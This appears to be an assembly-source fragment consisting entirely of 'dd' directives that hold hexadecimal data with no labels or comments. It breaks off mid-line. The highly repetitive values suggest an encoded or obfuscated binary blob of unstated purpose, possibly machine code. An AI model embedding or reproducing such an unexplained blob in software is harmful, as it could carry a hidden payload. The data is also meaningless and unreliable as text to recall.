dd 1EB88923h, 4F9D8C8Dh, 0CF97771Fh, 98812393h, 9F8C8D1Dh dd 8D1D4881h, 92771F8Ch, 0FC0111CFh, 0CF636362h, 62FC0111h dd 11CF6363h, 6362F801h, 63F4CF63h, 119C9C9Ch, 63639D01h dd 63CCCF63h, 95C69889h, 0EBCF48Ch, 0D5748C8Dh, 6363635Dh dd 6362F829h, 111CC63h, 6363639Dh, 0B48963CFh, 118C91C6h dd 63639D19h, 63CBCC63h, 9C6CB089h, 9C63F48Ch, 19119C9Ch dd 6363639Dh, 1D0C3DCCh, 741F8C8Dh, 9CF4CC9Fh, 639C9C98h dd 9DB93489h, 9D19118Ch, 0CC636363h, 0B08963CBh, 0F48C9C6Ch dd 8C8D0E87h, 635C7374h, 63CBCC63h, 9C6CB089h, 0F4195B8Ch dd 63636362h, 0F49C9C9Ch, 8C8D0D72h, 635C4F74h, 0C4191563h dd 0F4636362h, 8C8D0D7Dh, 635C5F74h, 0C0011163h, 0CF636362h dd 62F40111h, 11CF6363h, 63639D01h, 17CCCF63h, 6362C401h dd 9EF4CF63h, 741C9C9Ch, 9C9C8A15h, 15EC581Fh, 1C383D5Ah dd 741F8C8Dh, 0E96CA594h, 9D19118Fh, 0CC636363h, 0B08963CBh dd 1F8C9C6Ch, 0F7779458h, 62F4195Bh, 9C636363h, 2DF49C9Ch dd 748C8D0Dh, 63635CF8h, 62C81915h, 38F46363h, 748C8D0Dh dd 63635CC8h, 62C00111h, 11CF6363h, 6362F401h, 111CF63h dd 6363639Dh, 117CCCFh, 636362C8h, 9C9EF4CFh, 86741C9Ch dd 1F9C9C8Ah, 5A15BC58h, 8D1E803Dh, 5AA5DC8Ch, 19118DE9h dd 6363639Dh, 8963CBCCh, 8C9C6CB0h, 0C394581Fh, 5F55C7C2h dd 9CDC9D24h, 9C845E1Ch, 247915C9h, 9C9D9CACh, 9C104774h dd 0CBCACF9Ch, 8D1DB83Dh, 38999F8Ch, 1F8C8D1Ch, 99A58E74h dd 8C8D1E40h, 23938AE9h, 8D1D1499h, 995C1F8Ch, 0B94C99A5h dd 1E938C9Dh, 9C9C9E1Fh, 637C1911h, 63CC6362h, 9C6CD489h dd 4C19118Ch, 0CC636263h, 637C1911h, 0F6CC6362h, 99239395h dd 8C8D1EDCh, 0E963CCD4h, 0B8896394h, 158C95AFh, 1ED83D5Bh dd 741F8C8Dh, 935BA59Bh, 9C9EDE19h, 9923939Ch, 8C8D1EFCh dd 1C20999Fh, 741F8C8Dh, 64191595h, 17636263h, 62637429h dd 64191163h, 0CC636263h, 8D0638F4h, 8A17CA8Ch, 9C898863h dd 159C9C9Ch, 9923935Bh, 8C8D1D1Ch, 0A59E741Fh, 6019935Bh dd 119C9C9Dh, 62634019h, 1917CC63h, 63626364h, 638C17CCh dd 5B15E4CEh, 8D1EC03Dh, 99741F8Ch, 199364A5h, 9C9C9D4Dh dd 9C9D1911h, 63CC6363h, 62634029h, 0F6017463h, 581F9C9Ch dd 40296394h, 63636263h, 8DECA889h, 9923938Ch, 8C8D1EB4h dd 6199201Ch, 0E8636263h, 2393B3E9h, 8D1C4499h, 99201C8Ch dd 63626364h, 3D82E9F4h, 8C8D1D64h, 6199201Ch, 0EC636263h dd 983D93E9h, 1C8C8D1Eh, 63639920h, 0E8E86362h, 9DF77599h dd 19119C9Ch, 6362636Ch, 641917CCh, 0CC636263h, 0CE638C17h dd 3D5B15D4h, 8C8D1C38h, 1D10999Fh, 741F8C8Dh, 9364A595h dd 9C9DDC19h, 6019119Ch, 0CC636263h, 8D06A8F4h, 6C19178Ch dd 0CC636263h, 88638C17h, 9C9C9C89h, 3D5B159Ch, 8C8D1D10h dd 0F4892393h, 9D8C8D1Dh, 98741F4Ch, 19935BA5h, 9C9C9C61h dd 63681911h, 17CC6362h dd 62636019h, 8C17CC63h, 9D2C0E63h, 5B159C9Ch, 8D1DA43Dh dd 4C999F8Ch, 1F8C8D1Dh, 64A59A74h, 9C5F1993h, 19119C9Ch dd 63626344h, 681917CCh, 0CC636263h, 0CE638C17h, 935B15ECh dd 1DB09923h, 741F8C8Dh, 0E864A599h, 6819178Dh, 0CC636263h dd 0CC639C17h, 9C137594h, 47AD9C9Ch, 63441917h, 19A56362h dd 63626368h, 47AD9FE8h, 681917DFh, 0CC636263h, 0CC639C17h dd 44191794h, 0CC636263h, 0CC639C17h, 48191194h, 0CC636263h dd 63601917h, 17CC6362h, 0BCCE638Ch, 23935B15h, 8D1D9899h dd 0C999F8Ch, 1F8C8D1Dh, 5BA59774h, 11CFA7E9h, 639C9D19h dd 2963CC63h, 63626364h, 63482963h, 29636362h, 63626360h dd 9CAF6874h, 88581F9Ch, 89E94795h, 63482963h, 29636362h dd 63626360h, 6D8674CAh, 581F6363h, 60191790h, 0CC636263h dd 0CC639C17h, 6C191794h, 0CC636263h, 0CC639C17h, 9A17CA94h dd 0C394CC63h, 5F55C7C2h, 1C383DCBh, 999F8C8Dh, 8C8D1D0Ch dd 3F92741Fh, 8C95C56Ch, 8D1D4C3Dh, 9F5B158Ch, 8D1E84A1h dd 9F731F8Ch, 443D8C77h, 1F8C8D1Dh, 98149B74h, 99AD6CA1h dd 0A43DDB8Ch, 998C8D1Eh, 9C9C9C6Ah, 7EEE5BA5h, 8D1E843Dh dd 8923938Ch, 8C8D1C44h, 58912393h, 118C8D1Dh, 14CC96C8h dd 0AD739988h, 6C3D8C99h, 178C95C5h, 8D1D7489h, 4C9DD68Ch dd 1DCC8917h, 5E1D8C8Dh, 9C9C9C79h, 6C998814h, 3D8C99ADh dd 8C95C56Ch, 1E988917h, 9FDE8C8Dh, 8D1C0C89h, 174C9D8Ch dd 8D1ED889h, 0C65E1F8Ch, 6C998814h, 3D8C99ADh, 8C95C56Ch dd 1DFC8917h, 5E1D8C8Dh, 9C9C9C7Fh, 6C998814h, 938C99ADh dd 1D349923h, 23938C8Dh, 8D1DDC89h, 8CD8118Ch, 6C999D9Ah dd 0C38C95C5h, 7915C95Fh, 9E90701Dh, 0CACF9C9Ch, 509374CBh dd 89176363h, 8C8D1C5Ch, 0E95EA5D6h, 755CAD9Bh, 9C9C9E90h dd 6160195Bh, 9C636363h, 19119C9Ch, 63636160h, 9D1911CCh dd 0CC636363h, 0B93C8963h, 0A83D8C9Dh, 9F8C8D1Dh, 8D1EF099h dd 1822938Ch, 63626D99h, 89239363h, 8C8D1C78h, 94E94CA5h dd 75DC5CADh, 9C9C9D54h, 8D0D06F4h, 276E748Ch, 89176363h dd 8C8D1DF8h, 11CCCEDEh, 63639D09h, 0EC74CE63h, 1F9C9CACh dd 91178C58h, 8C8D1C5Ch, 63625D1Dh, 54A59C9Ch, 5CAD94E8h dd 9D1275DCh, 12F49C9Ch, 748C8D0Dh, 63632724h, 1D6C8917h dd 761F8C8Dh, 11CCCE94h, 63639D09h, 0A874CE63h, 1F9C9CACh dd 91178C58h, 8C8D1D44h, 63645D1Dh, 5DA59C9Ch, 5CAD94E8h dd 9DCE75DCh, 195B9C9Ch, 63636164h, 9C9C9C63h, 61641911h dd 11CC6363h, 63629E19h, 8963CC63h, 8C9C6CDCh, 8D0D15F4h dd 27C2748Ch, 11CC6363h, 63629E09h, 8963CE63h, 8C9C6CB0h dd 8D1D243Dh, 9A741F8Ch, 9D1911CCh, 0CC636363h, 629E1911h dd 74CC6363h, 9C9CB35Bh, 1784581Fh, 8D1DF089h, 6A5E1D8Ch dd 0A59C9C63h, 0AD94E84Ch, 7975DC5Ch, 639C9C9Ch, 95C68089h dd 0AD5A158Ch, 3D6B1547h, 8C8D1D7Ch, 9395741Fh, 939B982Ah dd 1C6C8923h, 761F8C8Dh, 934CA59Fh, 9C9C3518h, 1F65159Ch dd 1CDC6354h, 0E99C9DA0h, 68191565h, 0F4636361h, 8C8D0DE3h dd 63264F74h, 98581F63h, 1DC4A963h, 0CBCC8C8Dh, 9CB3CA74h dd 90581F9Ch, 23935E15h, 8D1DF491h, 9923938Ch, 8C8D1DC0h dd 649D1011h, 0A59C9C63h, 279BE84Dh, 9C9C9C9Dh, 0F2F4C477h dd 748C8D0Dh, 63632608h, 1EB0A963h, 0CBCC8C8Dh, 9CB38674h dd 8C581F9Ch, 23935E15h, 8D1EB491h, 1D4C3D8Ch, 10118C8Dh dd 9C636A9Dh, 0E856A59Ch, 0DF47AD99h, 1917BC77h, 63636168h dd 1C688917h, 899F8C8Dh, 8C8D1E98h, 9D98761Fh, 9D5B1566h dd 63A5754Bh, 63CA6363h, 95D6D889h, 0E847958Ch, 0DC5CAD99h dd 5CAD9E77h, 55C7C2C3h, 0DC9D245Fh, 945E1C9Ch, 0C3F4CB9Ch dd 748C8D0Dh, 63632680h, 8963CCC5h, 8C9DB904h, 8D1E383Fh dd 1DA83D8Ch, 741F8C8Dh, 3899A594h, 0E98C8D1Eh, 0DCCF48Bh dd 69748C8Dh, 0C5636325h, 848963CCh, 3F8C99AFh, 8C8D1E38h dd 8D0DA4F4h, 2542748Ch, 0CCC56363h, 1E38A963h, 89638C8Dh dd 8C9DBD30h, 9D93583Fh, 0C95FC38Ch, 701D7915h, 9C9C9C0Ch dd 11CBCACFh, 8DC75C99h, 0E419158Ch, 93636363h, 1EB49923h dd 23938C8Dh, 8D1D2089h, 9D5F158Ch, 97771F4Fh, 89179377h dd 8C8D1C28h, 0FA98761Fh, 5CC1C815h, 992393DFh, 8C8D1DDCh dd 0B4892393h, 118C8D1Eh, 0A5898CD8h, 9347EE5Fh, 1E8C9923h dd 5A158C8Dh, 1D60A99Fh, 721F8C8Dh, 158D779Fh, 177E4D6Eh dd 17FA90D1h, 15FAED90h, 0DA1C89D0h, 8D1D783Dh, 885C1F8Ch dd 1D2C999Fh, 5AA58C8Dh, 239341EEh, 8D1E8C99h, 9F741F8Ch dd 63E01915h, 29636363h, 636363E0h, 7494E963h, 9C9CE3C9h dd 1594581Fh, 6363E819h, 1D883D63h, 0A5D48C8Dh, 6363E819h dd 11A7E963h, 11CC1CD9h, 74CC5CD9h, 9C9CEFADh, 63EC1915h dd 29636363h, 636363E4h, 0CC5CD911h, 6329E074h, 8C581F63h dd 8EE85C95h, 63E42963h, 0D9116363h, 0F274CC5Ch, 1F9C9C18h dd 19639458h, 636363E0h, 8D1D843Dh, 8B5C1F8Ch, 8892393h dd 1F8C8D1Ch, 3393915Eh, 0E019A55Eh, 0EF636363h, 1CD911DCh dd 0BAA074CCh, 19159C9Ch, 636363ECh, 63E42963h, 0D9116363h dd 0BE74CC1Ch, 1F636329h, 5C959058h, 63C81893h, 29636363h dd 636363E4h, 0CC1CD911h, 9C188C74h, 94581F9Ch, 6363A175h dd 0A1239363h, 8C8D1EDCh, 158D77D3h, 177E4D66h, 17FA94D1h dd 0FA5C89C8h, 0DBE58815h, 8D1ED03Dh, 8F5C1F8Ch, 0C8892393h dd 9D8C8D1Eh, 0EE5BA54Ch, 0C7C2C346h, 15C95F55h, 0CBCFCD79h dd 94D92A93h, 9C9C9625h, 5051269Ch, 7E6B5050h, 159F765Dh dd 4B1560C9h, 15FD5B1Fh, 94C11467h, 0A094D916h, 0A084E8F5h dd 0A088E8F9h, 0A08CE8E9h, 0A090E8E5h, 0A094E8FDh, 0A098E8F3h dd 1C98E9F6h, 939D94D9h, 0C394D92Ah, 0C95F55C7h, 63CB7915h dd 0A96394E9h, 8C8D1E1Ch, 0BD308963h, 5B158C9Dh, 0C95FC1C3h dd 701D7915h, 9C9C9DA0h, 11CBCACFh, 9CC80D99h, 70D9158Ch dd 0C80D8911h, 91178C9Ch, 8C8D1E98h, 15915D1Fh, 17744F4Ch dd 8D1DE089h, 965E1F8Ch, 0DC912393h, 9D8C8D1Eh, 154D1556h dd 157F4F5Fh, 441574C1h, 0D1A41DFAh, 3D88E8C6h, 8C8D1C48h dd 9C636D99h, 0F0999F9Ch, 0B58C8D1Eh, 3D7C775Fh, 8C8D1D88h dd 9FA95C1Fh, 8D1EAC99h, 9D5A158Ch, 9D9A1742h, 6CD91544h dd 0A570D117h, 9385EA54h, 1DC09923h, 23938C8Dh, 8D1EB889h dd 8C18118Ch, 9C9C6367h, 3B775FB5h, 156CD917h, 2B9364D9h dd 0D9CCA19Ch, 92E89C9Ch, 8D1D283Dh, 6363998Ch, 5FB59C9Ch dd 0D9171577h, 1C1C1764h, 159C9C9Ch, 0A03D68D9h, 9F8C8D1Dh dd 8D1DB499h, 8C741F8Ch, 7560D915h, 9C9C9DEAh, 9D60D917h dd 68D99F44h, 624C1915h, 23936363h, 8D1DB099h, 99741F8Ch dd 624C0917h, 9EA76363h, 9DFE1893h, 19179C9Ch, 6363624Ch dd 9D90DC17h, 50191544h, 0CC636362h, 62491911h, 74CC6363h dd 9C9C1F24h, 0EC992393h, 938C8D1Dh, 1DF48923h, 4C9D8C8Dh dd 1599741Fh, 0BE7744D9h, 1644D917h, 62499918h, 0E6A06363h dd 0FDA08DE1h, 0D91791E2h, 99181144h, 63636249h, 63BCB41Ch dd 0D91744D9h, 18229344h, 63624999h, 0AC891763h, 1F8C8D1Eh dd 4CA59976h, 603D5AE9h, 9F8C8D1Dh, 8D1D6C99h, 99201C8Ch dd 6363624Dh, 5F1993D0h dd 3D9C9C9Ch, 8C8D1C24h, 5299201Ch, 0D9636362h, 9C2C1993h dd 89179C9Ch, 8C8D1C40h, 4C89201Ch, 0CE636362h, 9C001993h dd 89179C9Ch, 8C8D1E98h, 4489201Ch, 0AF636362h, 9C141993h dd 89179C9Ch, 8C8D1C60h, 4F89201Ch, 0D7636362h, 999FE4E9h dd 8C8D1EACh, 5399201Ch, 0AE636362h, 1917F4E9h, 6363624Ch dd 0CC9F4615h, 5809158Ch, 3D636362h, 8C8D1C48h, 159B741Fh dd 63625419h, 54191763h, 15636362h, 58299F5Ah, 17636362h dd 992393A2h, 8C8D1D30h, 54892393h, 9D8C8D1Dh, 91741F4Ch dd 0A4E864A5h, 0C8EC74CBh, 1FC59C9Ch, 8D1EE0A1h, 0B4E99C8Ch dd 8D1DD43Dh, 9F741F8Ch, 6254199Dh, 25776363h, 0D91F8A77h dd 0D9178860h, 181C1764h, 0A59C9C9Ch, 1E9360D9h, 636362E4h dd 0DC992393h, 1F8C8D1Dh, 99A59974h, 8C8D1EE0h, 9374FCE8h dd 749C9CB0h, 9C9CEB8Fh, 9C989274h, 145E159Ch, 23937BC9h dd 8D1DF499h, 9E741F8Ch, 7BC92A93h, 0A6E84CA5h, 0CC7CD911h dd 8D1C283Dh, 0FC999F8Ch, 1F8C8D1Dh, 11CC9574h, 0F4CC40D9h dd 8C9CC80Dh, 8D1D6C3Dh, 95741F8Ch, 1ECC3DCCh, 999F8C8Dh dd 8C8D1D24h, 0CC95741Fh, 0ECBC8963h, 0C2C38C8Dh, 0C95F55C7h dd 0CCCD7915h, 63CBCACFh, 896394E9h, 8C99AF84h, 583D5F15h dd 938C8D1Ch, 1C448923h, 4C9D8C8Dh, 0A58E741Fh, 0F618935Fh dd 0F49C9C9Dh, 8C8D0DAFh, 63282374h, 63CFCC63h, 9DBD3089h dd 9C983F8Ch, 0B2F48C9Dh, 748C8D0Dh, 63632834h, 0CC94581Fh dd 308963CFh, 3F8C9DBDh, 8C9C6C94h, 0C8992393h, 1F8C8D1Eh dd 99A79474h, 8C9D9C98h, 9DBF1893h, 23939C9Ch, 8D1D8C99h dd 8923938Ch, 8C8D1DF4h, 741F4C9Dh, 9499A799h, 938C9C6Ch dd 9C9D9818h, 0DCA9639Ch, 638C95D6h, 9D9350A9h, 0C0A9638Ch dd 638C8DC6h, 9DBD30A9h, 0E0A9638Ch, 118C8D1Eh, 11CC64D9h dd 63CC60D9h, 9D9C9889h, 935B158Ch, 1EFC9923h, 64A58C8Dh dd 63CF90EFh, 8DF08089h, 9C23758Ch, 23939C9Ch, 8D1DC099h dd 1F5A158Ch, 0A117605Ah, 8C8D1DE0h, 7799731Fh, 218817B1h dd 8C99AFBCh, 0E964C9A5h, 176215BCh, 88A560C9h, 95C6BC21h dd 0CF8EEE8Ch, 0F0808963h, 0E9638C8Dh, 90896394h, 778C9C6Ch dd 0A1A7DBE0h, 8C8D1E20h, 383D57EEh, 1F8C8D1Ch, 999F735Ch dd 8C8D1DB4h, 0B1E85AA5h, 0CC29A863h, 638C91C6h, 8DF08089h dd 94A1178Ch, 158C9C6Ch, 0B57C29A0h, 0E1178C9Dh, 29A01560h dd 8C95C6BCh, 0CC298015h, 778C91C6h, 20A117A8h, 178C8D1Eh dd 881560C9h, 95C6BC21h, 64C9178Ch, 0BC218815h, 158C99AFh dd 0C6CC2180h, 81178C91h, 8C9C6C94h, 7C218015h, 638C9DB5h dd 8D1E2099h, 0C7C2C38Ch, 15C95F55h, 0E963CB79h, 0E0A96394h dd 638C8D1Eh, 9DBD3089h, 0C35B158Ch, 15C95FC1h, 98701D79h dd 0CA9C9C9Dh, 992393CBh, 8C8D1C08h, 0CC9F741Fh, 1D3CA963h dd 9FF68C8Dh, 1DF8A963h, 0C43D8C8Dh, 9F8C8D1Dh, 8D1D0C99h dd 9B741F8Ch, 9C9CF4CCh, 0ACF41C9Ch, 638C95AFh, 8DF08489h dd 3D5B158Ch, 8C8D1D64h, 9F685C1Fh, 8D1DCC99h, 0E964A58Ch dd 9CB6249Bh, 0C3779C9Ch, 8D1DE83Dh, 11CCD48Ch, 63626019h dd 63F4CC63h, 119C9C9Ch, 63639D19h, 63CBCC63h, 9C6CA889h dd 0CB5A158Ch, 0D6D48963h, 0E03D8C95h, 1F8C8D1Dh, 5AA59974h dd 0B6249BE9h, 779C9C9Ch, 192A93BEh, 6363639Dh, 1C048917h dd 5E1F8C8Dh, 0E14CA583h, 9CB6249Bh, 9B779C9Ch, 9D192A93h dd 0C3636363h, 0C95F55C2h, 701F7915h, 0CBCACFB0h, 0FA84D917h dd 3D84D915h, 8C8D1C7Ch, 9C9C5E99h, 8923939Ch, 8C8D1D20h dd 0D9A54C9Dh, 90199390h, 0FA9C9C9Dh, 9F74D95Bh, 6CD9119Ch dd 1F9C3DCCh, 17CC8C8Dh, 80CB63A4h, 3D60D915h, 8C8D1C58h dd 1D00999Fh, 741F8C8Dh, 60D9A58Ch, 9C451993h, 0D1639C9Ch dd 78D9116Ch, 74E911CCh, 158C701Fh, 9C98257Bh, 396F9C9Ch dd 1F9CA117h, 17CB8C8Dh, 0BCCB63A3h, 3D60D915h, 8C8D1EC0h dd 0A799741Fh, 199360D9h, 9C9C9C3Fh, 0CC7CD911h, 8D0638F4h dd 78D9178Ch, 63A417CCh, 9C9CA188h, 0D9159C9Ch, 99239360h dd 8C8D1C30h, 1D2C999Fh, 741F8C8Dh, 60D9A592h, 9911F0E9h dd 8C8D1E60h, 0CC64D915h, 0CF638417h, 40D91198h, 568F4CCh dd 0D9178C8Dh, 0A417CC64h, 9CA18863h, 159C9C9Ch, 239360D9h dd 8D1D3099h, 9A741F8Ch, 0E960D9A5h, 48D911BFh, 568F4CCh dd 0E9638C8Dh, 7CE96340h, 6355D774h, 8C581F63h, 1744D915h dd 17CC40D9h, 94CF6384h, 0CC64D917h, 0CF638417h, 7CD91794h dd 638417CCh, 0D91794CFh, 8417CC78h, 0AD94CF63h, 2499775Ch dd 1C9E9C9Fh, 55C7C2C3h, 0C99CB85Eh, 701D7915h, 9C9C9D94h dd 403DCBCAh, 158C8D1Dh, 0A0A19F5Bh, 1F8C8D1Dh, 0ED779573h dd 8D0DBEF4h, 2D8A748Ch, 19156363h, 63636264h, 8D0D84F4h dd 2D9A748Ch, 0CCCB6363h, 62642917h, 11CA6363h, 63639D29h dd 8963CA63h, 8C91C6B4h, 1184581Fh, 63639D19h, 9CF6CC63h dd 8C9C9CF4h, 0A489639Ch, 158C95D6h, 63626019h, 0E85C9563h dd 8963CC83h, 8C95D6D4h, 8D1EC43Dh, 945C1F8Ch, 99E964A5h dd 77DC5CADh, 9C9E24BFh, 80779C9Ch, 992393DBh, 8C8D1D54h dd 1C288917h, 0D8118C8Dh, 5BA5C58Ch, 63EA1E93h, 5CAD6363h dd 5F55C2C3h, 1D7915C9h, 9C9D9870h, 1911CB9Ch, 63636260h dd 1C683DCCh, 741F8C8Dh, 2393CC9Eh, 8D1D5499h, 8923938Ch dd 8C8D1D08h, 741F4C9Dh, 0E963CC92h, 3CA96394h, 638C8D1Dh dd 99B69C89h, 3D5B158Ch, 8C8D1D18h, 1DC8999Fh, 741F8C8Dh dd 0E964A593h, 0D8FF4B7h, 0A9748C8Dh, 0CC63632Ch, 62602111h dd 63CB6363h, 9C6CB089h, 0F69DF68Ch, 601911DFh, 0CC636362h dd 9CE59C74h, 84581F9Ch, 0C95F55C3h, 0CFCD7915h, 0E117CBCAh dd 90C11794h, 1788E917h, 649D84D9h, 15BCD99Fh, 461560D9h dd 0D1176EBDh, 6B6C158Ch, 155DBD4Ch, 1754954Ch, 4B1560C9h dd 0E9635B9Dh, 0A974CB80h, 1F9C9CB8h, 5B159458h, 6415439Dh dd 55C7C2C3h, 7915C95Fh, 0CFD8701Fh, 0EA74CBCAh, 17636323h dd 8D1DE881h, 5C819F8Ch, 0D78C8D1Dh, 8BE944A5h, 8992393h dd 158C8D1Dh, 7CA19F5Bh, 1F8C8D1Dh, 0BC759373h, 639C9C9Eh dd 99B56889h, 5CD9158Ch, 992393CCh, 8C8D1C78h, 1D84999Fh dd 741F8C8Dh, 63F4CC95h, 639C8393h, 8DECB089h, 115A158Ch dd 0F6CC60D9h, 8963CAB4h, 8C9DBC1Ch, 23935B15h, 8D1C4499h dd 999F8Ch, 1F8C8D1Dh, 5BA58C74h, 9D4D1893h, 81179C9Ch dd 8C8D1D40h, 1D188917h, 761F8C8Dh, 1C81594h, 20D9113Ch dd 11B4F6CCh, 3DCC58D9h, 8C8D1DE0h, 9F9B5C1Fh, 8D1DF099h dd 0E963CC8Ch, 8C896360h, 158C95C6h, 1D883D5Bh, 999F8C8Dh dd 8C8D1C48h, 0A595741Fh, 0C7E894D9h, 8D1C643Dh, 98741F8Ch dd 89E95BA5h, 8D1C743Dh, 9F5B158Ch, 8D1C48A1h, 91731F8Ch dd 9C9DFA75h, 0D0A1179Ch, 1F8C8D1Dh, 81179973h, 8C8D1C68h dd 50892393h, 9D8C8D1Dh, 8923934Fh, 8C8D1DC0h, 0A59F761Fh dd 933801C8h, 9C9DA618h, 0D4A1179Ch, 1F8C8D1Eh, 0B0759873h dd 3D9C9C9Dh, 8C8D1D00h, 1EEC999Fh, 741F8C8Dh, 2899A590h dd 0E98C8D1Eh, 1D643D84h, 65998C8Dh, 0CC9C9CA3h, 8963DCF6h dd 8C99B570h, 8D1E283Fh, 20D9118Ch, 1D683DCCh, 67998C8Dh dd 0CC9C9CA3h, 1E28A963h, 9DF68C8Dh, 6360E963h, 95C68C89h dd 9923938Ch, 8C8D1C6Ch dd 0A59F741Fh, 8D1E2C99h, 0F693E98Ch, 639CF688h, 99B57089h dd 1E2C3F8Ch, 9DF68C8Dh, 1E2CA963h, 89638C8Dh, 8C9D9C94h dd 9CF65B15h, 8D1EC43Dh, 0F6CCD48Ch, 2CA9639Dh, 638C8D1Eh dd 99AD7889h, 0F65B158Ch, 1E283D9Ch, 0AC638C8Dh, 1E2CA963h dd 89638C8Dh, 8C99B574h, 6BF45B15h, 748C8D0Ch, 63633178h dd 6CC111C5h, 2393CCCFh, 8D1DB081h, 99771F8Ch, 0BC8963CFh dd 158C9C6Ch, 1C683D5Bh, 999F8C8Dh, 8C8D1C24h, 1595741Fh dd 0CC3D70D9h, 1F8C8D1Eh, 5BA59E74h, 0D95BA1E8h, 9C9C9E64h dd 9923939Ch, 8C8D1DB0h, 0CC99741Fh, 6C992393h, 938C8D1Ch dd 1EFC8923h, 4C9D8C8Dh, 0CC90741Fh, 1D5CA963h, 0D9118C8Dh dd 9CF6CC70h, 6360E963h, 95D58089h, 0CA5B158Ch, 0D6D48963h dd 0E9638C95h, 0D4896360h, 158C95D6h, 0C7C2C364h, 15C95F55h dd 0F0701D79h, 0CF9C9C9Eh, 47ADCBCAh, 0C73F4DFh, 0DD748C8Dh dd 63636331h, 11CC94E9h, 63612221h, 8963CB63h, 8C91C6B4h dd 118C581Fh, 63625E19h, 1911CC63h, 63636122h, 0B48963CCh dd 158C95AFh, 63612419h, 99239363h, 8C8D1DDCh, 1C7C8917h dd 0D8118C8Dh, 19A5658Ch, 63636124h, 9C631993h, 0D9119C9Ch dd 0D911CCBCh, 8963CC8Ch, 8C8DF08Ch, 613C1915h, 0F03D6363h dd 1F8C8D1Dh, 19A59574h, 6363613Ch, 211191E2h, 63636104h dd 39BCE911h, 11977739h, 63610421h, 8CE91163h, 19113939h dd 63636134h, 41911CCh, 0CC636361h, 0C7E48963h, 2B938C8Dh dd 63613219h, 0A8891763h, 1D8C8D1Dh, 9C990D5Eh, 9123939Ch dd 8C8D1C3Ch, 3393569Dh, 92B935Eh, 63636136h, 1D6C9117h dd 5D1D8C8Dh, 9C9C342Eh, 1DE0919Fh, 33938C8Dh, 934C9D4Dh dd 612E092Bh, 4C9D6363h, 34092B93h, 17636361h, 8D1C4091h dd 655D1D8Ch, 939C9B74h, 4C9D4D33h, 2C092B93h, 17636361h dd 8D1E8491h, 0A75D1F8Ch, 9D4D3393h, 3819154Ch, 17636361h dd 9C6CAC89h, 934CA58Ch, 9C9D8E1Bh, 3D5EB59Ch, 8C8D1C74h dd 9C8C4599h, 935EA59Ch, 9C9C621Ah, 94E9639Ch, 6C908963h dd 19158C9Ch, 63636108h, 9C9C7675h, 1D003D9Ch, 201C8C8Dh dd 63627B99h, 1893B263h, 9C9C9C53h, 8D0C7AF4h, 3746748Ch dd 21116363h, 63636272h, 94E963CBh, 222111CCh, 0CB636361h dd 0C6B48963h, 29118C91h, 6363625Eh, 9DDC701Dh, 7B159C9Ch dd 9C9C0325h, 39FA6F9Ch, 61222111h, 74CB6363h, 636362DAh dd 9DC4581Dh, 1C759C9Ch, 119C9C9Ch, 63625E19h, 2963CC63h dd 63636124h, 93548963h, 5F158C9Dh, 8D1ED43Dh, 98741F8Ch dd 0FBE844A5h, 8D1ED03Dh, 9C999F8Ch, 1C8C8D1Eh, 627A9920h dd 0E8B26363h, 0C41F4D6h, 0C9748C8Dh, 11636337h, 63627221h dd 0E963CB63h, 2111CC94h, 63636122h, 0B48963CBh, 118C91C6h dd 63625E29h, 0DC701D63h, 159C9C9Dh, 9C03257Bh, 0FA6F9C9Ch dd 22211139h, 0CB636361h, 63615D74h, 0C4581D63h, 959C9C9Dh dd 0E4199347h, 0C3636363h, 5F55C7C2h, 0C4CF4CBh, 61748C8Dh dd 0C5636336h, 48963CCh, 3F8C9DB9h, 8C8D1E10h, 8D1DA43Dh dd 8923938Ch, 8C8D1EFCh, 741F4C9Dh, 1099A590h, 0E98C8D1Eh dd 0C5FF48Bh, 51748C8Dh, 0C5636336h, 848963CCh, 3F8C99AFh dd 8C8D1E10h, 8D0C33F4h, 362A748Ch, 63CC6363h, 8D1E10A9h dd 3089638Ch, 3F8C9DBDh, 8C9DB948h, 8D0C01F4h, 3606748Ch dd 63CC6363h, 8D1E10A9h, 3089638Ch, 3F8C9DBDh, 8C9DBC10h dd 8D0C16F4h, 36E2748Ch, 63CC6363h, 8D1E10A9h, 3089638Ch dd 3F8C9DBDh, 8C8DEDC4h, 8D0CE6F4h, 36FE748Ch, 63CC6363h dd 8D1E10A9h, 3089638Ch, 3F8C9DBDh, 8C9DBC18h, 8D0CF5F4h dd 36DA748Ch, 63CC6363h, 8D1E10A9h, 3089638Ch, 3F8C9DBDh dd 8C99AD70h, 8D0CC6F4h, 36B6748Ch, 581F6363h, 0A963CC84h dd 8C8D1E10h, 0BD308963h, 0A03F8C9Dh, 0C38C91C6h, 7915C95Fh dd 0D911CBCDh, 85F4CC60h, 939C9E9Ch, 1C2C9923h, 0CCD48C8Dh dd 6390E963h, 896394E9h, 8C9DB900h, 23935B15h, 8D1DC099h dd 9F741F8Ch, 98E864A5h, 0D7775CADh, 6384E963h, 0E96388E9h dd 1D2C3D80h, 999F8C8Dh, 8C8D1D74h, 0CC92741Fh, 638CE963h dd 896360E9h, 8C9C6CD0h, 0E9635B15h, 94896360h, 3D8C95C6h dd 8C8D1C5Ch, 0A8892393h, 9D8C8D1Eh, 99741F4Ch, 98E85BA5h dd 9F775CADh, 0C3DC5CADh, 9D245F55h, 5E1C9CDCh, 15C99C84h dd 0C8701D79h, 0CF9C9C9Eh, 1911CBCAh, 63636270h, 1D4C3DCCh dd 741F8C8Dh, 2393CC9Fh, 8D1D8C99h, 0F6CCD48Ch, 992393BDh dd 8C8D1D34h, 1EF8999Fh, 741F8C8Dh, 8963CC9Fh, 8C99B69Ch dd 603D5F15h, 1F8C8D1Ch, 44A59E74h, 9C281993h, 0D9119C9Ch dd 8963CC6Ch, 8C95A9ACh, 66D92B93h, 6EC92B93h, 1C409117h dd 5D1D8C8Dh, 9C9C3425h, 80812393h, 9D8C8D1Dh, 4D339345h dd 2B934C9Dh, 91176AC9h, 8C8D1C7Ch, 99035D1Dh, 33939C9Ch dd 934C9D4Dh, 176CC92Bh, 8D1ECC91h, 675D1D8Ch, 9F9C9B74h dd 8D1D0491h, 4D33938Ch, 2B934C9Dh, 911764C9h, 8C8D1ED8h dd 93A95D1Fh, 4C9D4D33h, 9C6CAC3Fh, 9923938Ch, 8C8D1DC0h dd 0DC892393h, 9D8C8D1Eh, 9F741F4Ch, 61561915h, 29116363h dd 63636132h, 9DDC701Dh, 7B159C9Ch, 9C9C0325h, 39FA6F9Ch dd 62702111h, 74CB6363h, 636367B2h, 9DD8581Dh, 0C2C39C9Ch dd 0C95F55C7h, 0CBCA7915h, 1794E117h, 0D91790E9h, 88C9178Ch dd 6D154E6Bh, 54AD4D95h, 9D84D99Fh, 9F5B1564h, 0E963BCE1h dd 2D74CB80h, 